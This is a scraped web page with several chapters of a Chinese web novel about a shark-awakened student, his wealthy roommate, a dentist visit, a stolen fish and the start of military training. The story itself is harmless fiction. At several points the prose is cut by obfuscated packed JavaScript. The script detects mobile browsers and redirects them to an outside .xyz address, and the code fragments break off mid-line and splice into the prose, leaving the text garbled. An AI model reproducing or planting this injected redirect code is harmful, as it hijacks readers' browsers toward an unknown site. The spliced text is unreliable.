RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226569|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜鹭看着用水绳绑着玩蹦极的小鲨鱼，马尾又收敛起来，甩到一侧。 他看着水上乐园的游乐设施一样一样增加，再看看眼睛亮晶晶，压根没产生污染值的姜纶。 所以，异能用来玩耍是不会产生精神污染的，对吧？ 果然都是小朋友。 夜鹭慢慢游到水下滑梯入口，收起爪子，肚皮向下。 冲！ 他这不是玩，是仔细检查学生的异能使用在细节是不是到位，有没有瑕疵。 时间过了半小时后，水上乐园开始散发出沙伍熟悉的香味。 几条沙伍用异能构筑的鲨鱼出现，捕捉让自己馋嘴的食物。 小鲨鱼游到姜纶身边，试着张嘴咬了他一口。 坐在旋转茶杯里的姜纶回咬他一口。 “噫！” “噫什么噫？只准你咬我，不准我咬你啊。”姜纶的眼睛比平时更亮，试图用水绳把小鲨鱼捆起来。 小鲨鱼凶悍地一口咬断水绳，还用尾巴拍他一身水：“那是肯定的啊。你怎么可以咬我呢？”说着他就把姜纶拖下水，“走啊，是不是看我和院长玩，抑郁了？一起玩嘛，一起玩才开心。” 用肚皮在冰面上来回滑的中华田园企鹅：“……”找回爪爪，站起来。 小鲨鱼突然注意到冰面，一个跳跃上去，滑过冰面，从另外一面掉下海：“怎么有冰？” 双马尾中华田园企鹅：“有冰不是很正常？冰不是水吗？” “这么说……也是。”小鲨鱼又跳起来滑过冰面，“嘶嘶嘶，肚皮好凉！” 姜纶从水下冒头，卷起一道海浪把小鲨鱼翻了个面，肚皮朝上对着太阳：“没事别学夜老师装企鹅。” 小鲨鱼翻回去：“死鱼才肚皮朝上呢！” “怎么说话呢？”红眼珠子院长一爪子踩碎冰面。 什么叫装企鹅？ 他本来就是中华田园企鹅！ 小鲨鱼看着十厘米厚的冰面说碎就碎，对院长大人重新增添了一份敬畏之心，感觉到身边的小少爷又开始变得好吃，赶紧咬一口。 嗯，这一口的味道更浓郁，也就是说，姜纶的污染值在上升。 异能小鲨鱼环绕在姜纶身边，像一个小鱼群把人包围。 但凡姜纶变成美味小饼干，就要被咔嚓掉。 时间进入到第五十分钟的时候，姜纶的美味程度已经让沙伍感觉自己快要产生污染值了。 他不满足于用异能小鲨鱼啃噬姜纶的污染，一整条鲨鱼凑到姜纶身边，挨着他磨牙。 又过了几分钟，夜鹭的声音响起：“克制。现在超过10%了。” 姜纶的眼睛中闪过一点光，闭了闭眼睛，咬牙克制：“还有多久？” 人类的体型比起亚成年大白鲨来说，还是太小了。 咬起来不顺嘴。 夜鹭还没回答，沙伍已经变回人形，抱住姜纶，就对着他的脖子咬了一口。 姜纶感觉脖子有点痒，有什么东西顺着水流滑落，隐隐有一股淡淡的血腥味。 他操纵着水流，看到掌心里的一颗断齿。 哦豁！ 20.第二十章 小少爷平替 路上来回一个小时，上一个小时的课，到家的时候姜纶宛如死狗，沙伍还意犹未尽。 厨房的宵夜时间没到，祁大厨给他指了指冰柜：“自己去拿冰淇淋，你看喜欢什么口味的，挖两个球。” “哦。” 这种高热量的食物长期霸占沙伍爱吃榜前三名。 一整个冰柜里全是一罐罐的冰淇淋，口味太多，选择困难症犯了。 “叔，我可以每天吃两个球吗？” 尽管没明说，沙伍也知道自己的食谱是根据自己的身体状况精心设计的。 多吃一两个冰淇淋球，不是简单的嘴馋问题，其中有严格的营养搭配。 “可以是可以。不过我明天做蛋糕……不吃？” “不吃。”如果是别的季节，他还会犹豫。夏天除了冰淇淋，还有神马！ 姜纶慢腾腾下楼的时候，沙伍已经快吃完了：“吃什么呢？” 沙伍不过脑地说道：“吃你……的平替。” “嗯？”姜纶走到他身边，看清楚了吃的什么，下意识皱眉，“我就这？” 姜纶吃东西没多大讲究，沙伍给他挖了两个球：“你尝尝。冰冰的，甜甜的。” 姜纶吃了一口，眉头皱得更紧：“我吃起来口味这么平淡的吗？”他不服，把脖子往沙伍跟前凑，“不行，你再咬一口对比一下。” 祁大厨在边上听得青筋直冒：“爱吃不吃！都给老子出去！” 沙伍赶紧把自己的冰淇淋球吃完，出去就往姜纶背上一扑：“都怪你。” “怪我怪我。”姜纶就这么背着他往外面走。 刚开始沙伍还没觉得什么，等自己被塞进飞车才觉得不对：“去哪儿？” 这会儿都快晚上九点了，还出去干嘛？ 校园里面能解决的事情，骑小飞车不就行了？ 姜纶把沙伍抱在自己腿上，一手压着他大腿，一手扣住他两个手腕：“咦？手怎么这么细？我看你体检报告上体重和身高都长了，怎么身上的肉是越来越少了？” 姜纶一只手当然不可能把两个手腕都圈起来，沙伍动了动手腕，撇嘴皱眉：“撒手！你是不是要把我称斤卖掉？你管我肉多不多？” 他抽条呢，身上肉少一点不是正常的嘛？ 祁叔叔每天给他准备的正餐、点心、零食，他一顿没少，从小萦绕在身体里的饥饿感已经不复存在。 瞧瞧他觉醒体的体重正在稳步向六百公斤迈进。 祁叔叔说了，开学的时候争取长到七百公斤。 沙伍的这点力气对姜纶来说，跟小猫挠痒痒似的：“我当然要管……到了。” 沙伍上车后没听见姜纶说目的地，就知道他是提前设定好的，本来以为会是在校外的什么地方，没想到是在校内，被拉着下车就疑惑：“这么晚了，带我来医院干嘛？我的数据有什么问题？” “嗯，有个地方要看看。”姜纶含糊不清地说着，拉着他往楼上走。 沙伍平时体检不是在一楼，就是在地下室，头一回上二楼，好奇地打量周围。 二楼的格局比一楼更加紧凑一些，都是各种各样的科室，不像一楼集中了很多大型医疗器械。 他平时在一楼和地下室的时候，基本见不到什么人：“这个点了，二楼人还挺多的。” 姜纶熟门熟路地拉着他往前走：“嗯，朱雀城这两个月在集中清剿变异蟑螂、变异老鼠、变异蚊子什么的。朱雀学院的高年级学生做应急小队，负责处理城内的一些漏网之鱼。朱雀城的医院饱和了，这些受伤不太严重的就过来这边处理。”顿了顿，他解释，“我们院长兼任朱雀学院的院长，比较好说话。” “院长一个人负责两个学院，平时还要给我……们上课，他怎么忙得过来？”以前就带他一个人，现在是把他和姜纶两个人一起带。 姜纶歪头跟他小声咬耳朵：“学院的院长只要实力足够强，具体事务由别的人负责。” “哦~”懂了，吉祥物。 他们院长版本的双马尾小精灵确实可爱。 沙伍头一回见到这么多同龄的变异者，好奇地多看了几眼，一个不察就被姜纶带进了一个科室，并且关上了门。 他一回头就看到熟悉的诊疗床，竟然有力气挣脱开姜纶的钳制，抬手就捂住嘴巴，想往门外跑。 堵住门的姜纶对着医生情绪稳定：“你好，刘医生。我们是预约过来看牙的。他的牙齿撞断掉了，刚才还吃了冰的，看看有没有什么问题。” 医生的情绪更稳定：“过来坐。” 沙伍一秒老实，闻着空气中让他腿软的气味，慢吞吞地坐上去，仰躺上去试图挣扎：“我的觉醒体是鲨鱼，鲨鱼掉牙是正常的，很快就会长出新牙的。” “我看过你的就医记录，放心。” 对于能够无限长牙的鲨鱼，牙医很高兴能遇到这样的实验体……呸，病患。 他很快就叫来了自己的一溜学生，让他们仔细观察，并且试图让学生操刀把沙伍残留的牙根切除。 姜纶赶紧阻止：“刘医生。” 被叫停的刘医生满脸遗憾，只能放下手上的工具：“放心，鲨鱼的病例我接诊过几个，根据觉醒程度不同，残存的牙根可能会自动脱落。这几天注意点饮食，冰的烫的东西暂时不要碰，过几天再来做个复查。” 沙伍赶紧闭上被拉扯酸痛的嘴，小眼神里满是不信任。 刘医生有些尴尬：“难得看到这么好的……咳，你们鲨鱼的牙齿比较耐造。” 沙伍不听，下了诊疗床，游鱼一样灵活地穿过几名医学生的包围圈，几步就蹿到门边，不听身后他们的笑声，扒拉姜纶：“走走走，赶紧走！” 刘医生在后面喊：“着急什么？我给你开一支保护牙齿的牙膏，记得去取药窗口拿。” “好的，谢谢刘医生。”姜纶等沙伍的手环亮起取药的号码，才跟他一起出去。 这会儿沙伍已经没有刚来的时候那么活泛了，整个人蔫头耷脑的跟在姜纶背后。 姜纶看走着走着身边的人就不见了，回头见沙伍几乎贴着自己，把他拉到自己身边：“不是长高了？怎么走路还越来越慢了？” 沙伍感觉自己腿还软着，说话的声音都没力气：“你不了解牙医的恐怖。咦？” “咦什么？”姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁管家看了一脸不耐烦的姜纶，把自家小少爷当纸老虎，耐心听沙伍说话：“小少爷没有公开过长相，你说的那个人能够认出小少爷，估计是在什么活动上见过？” “哦。” “真长这么好看？长什么样？” 沙伍就把惊鸿一瞥的人的长相详细描述了一遍。 梁管家又问了他看牙的情况，完了把他赶去休息：“早点睡。” “哦，梁伯伯晚安。”沙伍见姜纶坐在客厅沙发没动，问，“你不是累了，还不休息？” 姜纶冲他摆摆手：“你去睡吧，我坐一会儿。” 话是这么说，沙伍回房洗漱完，就看到姜纶大咧咧躺他床上：“你干嘛抢我房间？” “累了，跟你一起睡好一点。”姜纶见他没准备上床，问他，“不睡觉？” 沙伍指了指小书房：“学习一会儿。” “我说你怎么不长肉还矮，原来是睡得少。”姜纶嘀嘀咕咕，倒是没阻止他去学习。 沙伍听得大怒，几步冲到床边，抄起枕头就往姜纶身上砸了好几下：“你等我长到20吨！一百米长！” 21.第二十一章 被打劫 沙伍很快就知道了昨天那个让他印象深刻的大美人的信息。 海湾和污染海域交界处，红壳大龙虾举着钳子来来回回忙碌，一边跟环绕在身边的鲨鱼学弟唠嗑：“哦，你说文缙啊。昨天听说他到专科医院，学校论坛上都疯了，好多人连夜买票返校，想见一面文缙。” 沙伍看着夏华手环光屏上的影像，确定就是昨天见过的大美人：“这么夸张？” 文缙是很漂亮，但沙伍理解不了为了想见他一面就这么来回折腾。 城际列车的票价不算便宜，青龙学院有点补贴但不算多，更别说共工大学其它没有补贴的专业了。 “他们都不用打暑期工的吗？”完整的两个月假期，是沙伍过去好几年的主要打工时间。 别说一般人父母双全，经济会比较宽裕；看看夏华也是一般意义上的普通人家的孩子，还是净化专业的，暑假照样在打暑期工，还是净化这种算是收入不错的。 夏华挥舞了一下钳子：“同样是学生，家庭条件的差距很大。” 这么一说，沙伍立刻就想到了姜纶，赞同：“也对。”他一口咬住一只海碗大的变异螃蟹，递给夏华，“吃早饭。” 夏华也不客气，挥舞着钳子开餐，指指蟹壳上的豁口：“你牙掉了？怎么掉的？” 小鲨鱼痛苦面具：“撞到我室友。” 夏华以为自己理解了：“你室友是那种身体强化型的变异吧？”他对沙伍的室友不太关心，继续之前的话题，“很多人暑假都打工的，只是买两张往返车票不算贵。他们能够承担得起。文缙是这两年蹿红的，风很大，听说觉醒体还是最接近朱雀的火凤凰。这次朱雀城不是一年一度大扫除嘛，文缙出了很大的风头。他的火系异能用来消杀……灭杀变异小动物确实好用。” 沙伍捕捉到他脱口而出的：“消杀？” 大龙虾晃晃须须，用钳子夹住小鲨鱼抛过来的一只小章鱼：“首先声明我不是看不起低年级生啊，我自己也才刚过完大二，等下个月开学才大三。你是刚觉醒的可能不清楚，一般像我们这种完全转化的，异能值属于最高一档。我说的是一般情况啊，没说不完全转化的异能者的异能值，就一定比我们这种的低。 文缙说是火凤凰觉醒体，战斗的时候一次都没见过，只释放出火鸟外形的火焰。招数确实很华丽，但是这种外形力量分散，能够造成的有效杀伤……哼哼。 他的年纪跟我一样，作为战队明星，说好听点是经常和变异生物作战，有更多的实践机会，但我这个年纪一般也就是能够有效控制个50%异能值左右，勉强够上初级战士的门槛而已。 朱雀城那一票变异小动物之所以这么嚣张，有很重要的一点是它们很多都对火系有很大的抗性。综合下来，反正我对文缙的实际战斗力存疑。不过他毕竟是战队明星嘛，长得好看就行了。” 夏华叭叭叭一通说下来，一点都没耽误吃，炫了一个螃蟹一个章鱼，接着又接受沙伍投喂的一条鱼之后，拒绝了一只海螺：“不用了，我吃饱了。海螺这玩意儿你带回去卖吧。有些螺肉不一定好吃，壳有很多人收。” “好。”小鲨鱼把海螺放进鲨鱼形状的泡泡里，这是他改良过后装猎物的水下储物装备。 在污染海域掐架的时候可能会顾不上用异能维持，但是在近海这种低污染海域已经足够用了。 一个小时后，夏华用手环联系沙伍，没一会儿就看到一条庞然巨物朝他飞快靠近，不用搭话，直接钻进一个空的泡泡里。 “真好啊。学弟你要是天天晨练，我就能天天搭顺风鱼上下班了。”作为一名才刚刚二级的净化者，夏华每天能够工作的时间有限。 以前他是断断续续工作半天，今天竟然能够持续工作一个小时，干完后还没累到趴下，果然菜就得多练。 “我是没空打暑期工，早上有时间出来赶海赚点外快。”昨天跟姜纶在外海上课，海中生物除了跑不了的都没了，完全看不到一点小钱钱，让他内心空落落的。 夏华感受了一下泡泡内的环境，确认没那么脆弱就变回人形，盘腿坐好，打开手环开始整理自己的工作记录，一边回答沙伍：“你可以不用这么着急赚钱。一二年级的开销不大，主要还是以理论课为主。反正我们青龙学院的学杂费全都是免费的，每个月还有三千块钱补贴，读书基本不花钱。一二年级还是把注意力放在学习上，把基础打牢更重要。 对了，等你通过了异能战士等级考试，不同的等级有不同的津贴。净化者有额外的补贴。像我现在是二级净化者，每个月有学院补贴3000，二级津贴5000，净化补贴5000。” “谢谢学长，我知道的。”小鲨鱼说着，把一条路过的“好看鱼”塞进装猎物的泡泡。 能不能卖钱不重要，关键是好看，带回去装客厅鱼缸里。 他现在赚钱存钱，纯粹是出于惯性。 伴随着对异能知识逐渐深入的学习，他从一开始的懵懵懂懂，到现在起码已经清楚，作为姜纶的专属净化者，他现在的待遇是……好吧，相较于一般的专属净化者，他的待遇可能还是有点超标。 但，怎么说呢？ 他对姜纶就是没有那种面对自己衣食父母（？）的敬畏心。 也不是他对姜纶不感恩，但谁会对自己的磨牙棒有什么敬畏心呢？ 更别说还是一根会磨掉牙的磨牙棒！ 小鲨鱼一路带着夏华返回。 他们出发的时间早，现在回来也才早上九点不到。 今天的医院显然比以前人要多出不少，不过没沙伍想象中那么多。 “不是说有很多人连夜买票过来吗？” 夏华叫小飞车，眼睛还盯着数据：“那也得他们进得来青龙学院啊。”他站在医院门口，手指往头顶指了指，“知不知道什么叫专科医院？不是受伤的异能者，根本进不来。你要是有空，可以去看看学院外面，估计隔离栏已经升起来了。” “啊？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238119|180796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们学院还有隔离栏？”沙伍不能说每天都在大学里流窜，但也不少进出，从来没见过有什么隔离栏。 “平时不用。那玩意儿挺阻碍交通的。”夏华看到小飞车来了，“我先走了。明天你要是早上出海，记得叫我。” “好。”沙伍也坐上小飞车。 他现在的小飞车不是共享款，是平时他们宿舍用的，外形很低调，不细看的话和共享小飞车差别不大。 打开载货的平板，他把装满了猎物的泡泡放上去，用异能整理成和平板尺寸贴合的方桶，又用水绳固定好，刚坐上去就被人叫住。 “等等！别走——” 沙伍被喊得一哆嗦，恍惚间像是看到了什么苦情追夫剧情。 他在一瞬间回忆自己的感情史，检讨是不是在不经意间渣而不自知？ 哦，他没有感情史啊。 那没事了。 叫住他的瘦高青年身姿轻盈，不像是跑过来，倒像是飞过来，很快就到了沙伍跟前，露出口罩的眼睛里带着善意的笑：“你好，我叫文缙。昨天没来得及和你认识，不知道你叫什么名字？” “你好，我叫沙伍。”沙伍好奇，认识他干嘛？ 他就一刚觉醒的变异者，能有什么好认识的？ 哦，通过他来认识钻石小少爷。 不过文缙应该本来就认识姜纶吧？ 文缙飞快调整了一下因为飞奔有些松的帽子，打开手环：“方便的话，加一下联系方式？” “好。”沙伍无所谓地添加了好友。 “那有空常联系。我得走了，免得又有人追上来。”文缙说完，立刻就上了一旁的豪华飞车。 沙伍发动小飞车，嘀咕：“有什么好联系的？” 开出去一段，他突然发现有哪里不对，停下小飞车检查泡泡，发现里面最漂亮的那条鱼不见了！ 他就说好像一晃眼文缙叼了一条鱼的样子，果然不是他看错了。 不是，明明跟他说话的时候一直戴着口罩来着，为了偷鱼竟然连口罩都摘下了。 辣么大一个明星，竟然偷鱼！ 果然不是什么好鸟！ 他打开手环上的联系人，刚想质问文缙，就见推送的新闻：“文缙在战斗中被污染，需要进行一段时间的净化治疗。”他重新发动小飞车，“算了。” 就像夏华学长说的，文缙的战斗力应该不强，偏要为了配合宣传，经常和变异生物战斗，受的伤也是实打实的。 他不过是损失一条鱼罢了，就当是对前线变异战士的援助了。 可那是他今天抓到的最漂亮的鱼…… 沙伍回到宿舍的时候，姜纶才起床：“怎么了？不是去晨练吗？” “嗯。”沙伍把泡泡里的渔获先交给厨房过一遍，把挑剩下的好看的放鱼缸里，再把剩下的挨个拍照询问熟客，得到消息后让无人车给人送货，想想自己被打劫的漂亮鱼，越想越气，拍案而起，“不行，我得抢回来！” 22.第二十二章 开学 “啊？抢什么回来？你被抢了？”姜纶一个激灵，顿时清醒。 沙伍比划了一下：“刚才抓到了一条特别漂亮的鱼，被抢了。”他点开手环，把漂亮鱼的照片给姜纶看，一看上面的时间，立刻就往楼上跑，“啊啊啊上课了！你上课吗？” “不上。”姜纶看着沙伍急匆匆上楼，整个人还懵懵的，对上梁管家，“怎么了这是？” 梁管家也不知道：“小伍人没事。”抢劫不抢劫的，应该是小孩子之间的玩闹。 姜纶也想明白了，不太高兴：“小鲨鱼交新朋友了？” 梁管家没应声，转而说道：“用个早午餐？” 姜纶“嗯”了一声，整个人都心不在焉的，原本上午安排好的事项也忘记了，转去书房跟沙伍一起上课。 家庭教师看到姜纶，神情有一瞬间的惶恐。 姜纶摆摆手：“你继续。” 沙伍倒是完全没把姜纶当一回事，只是有些诧异今天姜纶过来上课了，继续认真听课。 姜纶昨天练习释放异能很累，倒不是释放了那么多异能对他有什么负担，而是他对于自己能不能控制好异能释放，会不会一下就产生大量的精神污染的心累。 他靠在沙伍身边，耳边还有早就学习过的知识催眠，很快就昏昏欲睡。 眼皮子即将合上的时候，突然看到沙伍的手环亮了一下。 上课静音的手环自动弹出一条转账信息，备注是鱼钱，汇款人是文缙。 文缙？ 谁？ 姜纶皱眉，在自己手环上发消息问了梁管家。 过了一会儿，梁管家就把文缙的资料给发了过来。 姜纶看着资料上的人，眉头皱得更紧，略显焦躁地等到沙伍上课的间隙，才问他：“你是被文缙打劫的？怎么碰上的？” 沙伍不觉得有什么不能说的，就把早上的事情简单说了一下：“莫名其妙的，第一次……第二次见面就打劫我。文缙跟你说了？” 姜纶明显不悦：“没，我又不认识他。”他指了指手环，“他给你转了钱。” 沙伍看了一眼自己的手环，确认转账金额是市场价，顿时觉得心里面的气顺了下去：“记得给钱还行。” 姜纶还想跟沙伍说些什么，又不知道该说什么，见沙伍跑去上厕所，只能一头趴在课桌上，越趴越生气，一生气就一巴掌把课桌给拍碎了。 “嘭！” 回来的沙伍瞠目结舌。 碎了？ 不是他好大一张桌子，拍裂拍断他能理解，但是碎了是什么鬼？还碎得这么均匀。 同样课间休息回来的家庭教师就很淡定，还能关心一下姜纶的心情：“小少爷是有哪里不满意的？” 家政机器人反应迅速，过来清理教室，并且把沙伍没受损的文具挑拣出来放在边上。 其实沙伍总共也没几样文具，无论是看书还是做作业，主要都是通过手环。 他就是看姜纶经常拿着笔写写画画，也跟着习惯手里面抓个东西，最近手上的是几根胡椒木。 胡椒木怎么不算是文具呢？ 姜纶显然没有回答家庭教师的意思，意识到自己情绪失控也没有觉得有什么不对，等新的课桌搬过来放好，他对沙伍招招手：“过来，下节课开始了。” “哦。”沙伍看了看自己挑选的笔直笔直的胡椒木已经寄了，也没说什么，等下一次课间休息的时候，去厨房拿了个变异柠檬。 变异柠檬最大变异的地方在于外形，并没有长成传统两头尖尖的造型，而像是一个橙红色的大橘子枕头，更像是个软软的扁南瓜。 沙伍趴在桌上看手环，正好用来枕下巴，还有一股清新的气味。 姜纶觉得他太惬意了，突然看不顺眼，把他的变异柠檬给抢了：“专心上课！” 沙伍“哎”了一声：“这节课是考试啊。” 题目做对了就行，答题姿势不重要。 姜纶就趴在变异柠檬上看他答题。 沙伍做题快，答题全对，家庭教师简单布置了一下作业和明天的授课内容：“好了，今天的课就上到这里吧。” 沙伍站起来：“谢谢老师。” 家庭教师对着沙伍笑笑，有心想说两句，看到姜纶板着的一张脸顿时什么话都说不出来了。 明明小少爷还是那个小少爷，可这么趴在变异柠檬上，突然之间就不对味了。 看着家庭教师离开，沙伍看了看时间，开始做作业，一边抱怨：“不就是个变异柠檬，你想要让果果哥给你拿一个上来嘛。” 姜纶听得一头雾水：“谁是果果哥？今天怎么都是我没听过的名字？” “啊？”沙伍比他还吃惊，做作业的速度一点没停顿，“厨房的帮厨，□□。祁叔叫他阿大。” “原来阿大叫□□。”姜纶嘟囔了一声，把脸贴在变异柠檬上，侧对着沙伍，“你别分心，赶紧写作业。我跟章医生聊过，他说你长的速度还是偏慢，应该是晚上睡得少。是不是睡得晚想得多？” “没。”沙伍下意识否认，又看了他一眼。 难道姜纶长得高，是因为睡得多？ 他下意识忽略想得多的问题。 他的脑子里除了吃饭就是学习，容不下第三件事情，还怎么再想得少？ 姜纶看他时不时瞅一眼自己，慢慢高兴起来，放着变异柠檬不睡，一点点靠在沙伍身上。 沙伍觉得肩膀沉死了。 得亏他觉醒成为异能者之后，身体素质明显提升，不然真的扛不住这么重一个小少爷。 时间在规律的学习中转瞬即逝，文缙的到来像是昙花一现，沙伍还没见识学院的隔离墙就已经撤了。 再听到有人提起文缙的时候，他有点恍如隔世的感觉。 “不知道文缙还在不在专科医院？” “早就不在了。” “唉，不是说净化污染要一段时间。我还以为能够在学校里见到真人呢。” “就算在，人家也是在青龙学院，我们进不去的吧？” “隔离墙又没升起来，都一个大学的，我们其他学院去逛逛怎么了？” “话是这么说，可青龙学院的人我总有点害怕。” “怕什么？” 沙伍骑着小飞车从大学门口经过，看到好多同龄人，一时间有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“梁伯伯，我觉得有点怪怪的。明明去外海，一点都不嫌远，刚才去一趟校门口就觉得好远啊。”沙伍也搞不明白自己这算是什么心理。 梁管家大概能明白：“应该是作为一条鱼，去水里肯定比去陆地要顺心吧？” 沙伍不明白：“可我本质上是个人啊。”人是陆生动物。 回答他的不是梁管家，而是刚从菜地里回来的姜纶：“变异的人也是变异生物的一种，两者之间的分野没那么明显。人类怎么就不能成为变异生物呢？” 沙伍看着姜纶，突然感觉到一股寒意沿着脊椎爬上头顶：“可……人类是人类，肯定和变异生物是不一样的。” 姜纶给沙伍递过去一个青皮的无花果：“那你怎么解释人类会变成鲨鱼呢？哎！” 突然出现的夜鹭给了姜纶一翅膀，并且叼走无花果：“一天天的不上课还一堆歪理邪说！沙伍，校门口迎新的人手不够，你开着小飞车去。” 沙伍从惶恐中猛地惊醒，抗议：“我也是新啊！” 夜鹭同样给了他一翅膀，只是没用力：“你已经报到了两个月，旧了。快去！” 23.第二十三章 班魂 沙伍任劳任怨，帮着接送了一天的新生，加了许许多多的联系人。 姜纶看着他长长的联系人名单和多出来的各式各样的聊天群，明显很不高兴，但他不说。 沙伍察觉到他的情绪，在沙发上转过去一点，背对着他跟新同学发消息，感觉后背一阵刺挠。 钻石小少爷的视线有如实质。 他就不理解了，新同学之间只是相互交流一下即将开始的军训事宜，明明很正常的事情，怎么就惹到这位小少爷了，偏偏他还有点心虚？ 心虚什么？ 见了鬼了。 姜纶看他关了光屏，竟然还背对着自己，手一抬就抄着他膝弯抱起来。 沙伍被他吓了一跳：“干嘛干嘛干嘛！” 平时抱抱背背什么的就算了，公主抱什么的，过分了啊！ 姜纶很容易找了个借口：“来讨论一下你的体重问题。” 刚刚还在犹豫要不要给姜纶来一口的沙伍顿时捂住嘴，声音小小的：“又不是我不想长肉。” 说好的一个月长一百公斤，昨天体检结果定格在了691公斤，距离目标700公斤差了点，像是一百分的卷子考了五十九分。 一定是他压力太大，瘦了。 姜纶把他从餐厅抱到客厅放下，召集了全家人一起过来开会。 沙伍在众人的注视下，一点一点缩成一团，见没人说话，小小声狡辩：“我人形的体重满100斤了。”还又长高了1厘米。 “呵。”率先发出冷笑的是祁大厨，“176的身高，100斤很值得骄傲是不是？” 沙伍顿时低下头：“对不起，祁叔叔，是我不够努力。” 他感觉最对不起的就是祁叔叔。 他明明有好好吃饭好好锻炼，可体重就是长得慢。 他也知道自己过去十八年亏空太多，说不定补进去的营养还在慢慢漏，可他能有什么办法？ 梁管家打圆场：“好了，小伍又不是故意的。明天就要军训了，小伍你现在的身体素质，要是不能适应军训的强度，千万别硬撑。” 沙伍本来觉得自己两个月不到，体重长了十斤，身高长了四厘米，其实自己还挺满意的，现在听梁管家一说，注意力顿时转移到了军训上：“军训很可怕吗？我问过夏学长说我们净化专业的很轻松。” 他说话的时候下意识看向同样是新生的姜纶。 姜纶见他注意力转移到自己身上，心情好了一点点：“不知道，我不参加。” 逃课了不起啊！ 沙伍顿时拉过他的手腕咬了一口，气势汹汹，其实根本没下力气。 姜纶看着自己连牙印都没留下一个的手腕，反倒不满：“不是刚吃过饭？怎么一点力气都没有？” 啥抖M发言？ 沙伍不搭理他，不想刚开学就在新同学面前张嘴就漏风。 今天家庭教师还没走，这个问题显然他比较专业：“青龙学院一年级其实不分专业。军训的话，要说分专业也是分两个专业——完全转化专业和不完全转化专业。其中对不同变异类型和变异值的同学，军训要求……”顿了顿，“是一样的。” “啊？”沙伍本来还以为他能说出个不同细分来，“一样的？” 家庭教师微笑：“对。我们学院出去的学生，不出意外的话都会和变异生物进行战斗。变异生物可不会因为你的变异值高低而提升或者降低攻击力。” 这很合理。 沙伍表示理解：“老师能跟我说说军训的具体内容吗？” “当然可以啊。其实每年的军训内容都不一样，主要看近期发生什么事情。”家庭教师依旧保持着如沐春风的微笑，“像小伍你这样，十八岁才刚觉醒的是极少数，绝大部分的同学都是在刚出生或者是小学阶段就表现出异能天赋，到大学的时候，已经学习了十年左右的异能，具备一定的战斗力。不出意外的话，军训就是同学们的第一次实战。” 天天在污染海域实战的沙伍：“就这？” “是的。”家庭教师好心提醒，“异能战士的数量相对全人类来说很少。你们的战斗不可能每次都会有良好的作战环境，需要克服各种困难。” 下午，家庭教师没走，留在宿舍指导沙伍准备军训需要带的东西。 第二天天还没亮，沙伍就背着一个旅行背包，骑着小飞车去了青龙学院的小广场集合点。 集合时间是六点，按理来说哪怕太阳还没出，这会儿天也很亮了，可是今天格外暗沉。 作为一条鱼，沙伍对水汽很敏感，应该是要下雨。 沙伍提前十分钟到达，小广场上已经一簇一簇地站了一些人。 他下车先给小飞车设置了自动返航，才根据新生群的指引找到了小伙伴：“早啊。” “早！”小伙伴们热情洋溢，有些好奇地看向他身后，“你室友呢？没一起来？” 沙伍没多想，实话实说：“嗯，他没来。” 小伙伴们也没刨根问底，继续刚才的话题：“朱雀学院今年的军训肯定还是清剿城内的变异昆虫，我们今年不知道分到什么？” “不知道会不会出海？” “也可能是去内河。” “第一次去污染区域，我的心怦怦跳。” “不怦怦跳就死了。” 人群越聚越多，很快就按照班级分好。 沙伍他们的临时班长是一个很高大魁梧的男生，偏偏是一张圆脸，还是天生微笑唇，过来提前点名和让同学们列队的时候又威严又不威严的。 不过同学们还是按照他的要求照做了。 临时班长看向站在男生队列最前面的沙伍，满目愁容：“沙伍，你到时候尽量站在我们身后。” “好的。”沙伍听劝。 六点一到，天空中飞过来一只夜鹭，直接落在小广场中间的雕像上，撇着一条腿开始讲话：“51级新生军训正式开始。带队老师开始清点人数。” 从小作为异能战士培养的学生们，纪律性方面还是可以的，很快就完成了清点，全员到齐。 然后夜鹭院长就宣布：“这一次的军训地点是在3号监测点，时间十五天，目标是每人三亩地面积的清理任务。单人还是组队完成都随意。手环会在到达目的地的时候开启自动监测和评分系统。好了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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3号监测点距离学校很远，老师在车上没什么注意事项要讲，同学们就开始活跃起来，先是各种自我介绍，接着话题扯到被丢下的各种物资，最后的重点又回归到军训任务上。 “污染区域的变异生物和别的地方的变异生物，不知道有没有什么区别？” “3号监测点的环境是不是很糟糕？” “我们毕业后是不是也会被分配到这种荒无人烟的地方工作？” “听说这种监测点的待遇很好，老师，是不是真的？” 